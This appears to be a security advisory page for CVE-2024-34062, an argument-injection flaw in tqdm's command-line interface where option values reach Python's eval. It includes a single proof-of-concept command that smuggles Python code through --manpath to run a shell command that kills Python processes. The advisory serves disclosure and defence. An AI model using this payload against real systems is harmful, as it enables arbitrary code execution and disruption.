CVE-2024-34062: tqdm CLI arguments injection attack
Any optional non-boolean CLI arguments (e.g. --delim
, --buf-size
, --manpath
) are passed through python’s eval
, allowing arbitrary code execution. Example:
python -m tqdm --manpath="\" + str(exec(\"import os\nos.system('echo hi && killall python3')\")) + \""
References
Detect and mitigate CVE-2024-34062 with GitLab Dependency Scanning
Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →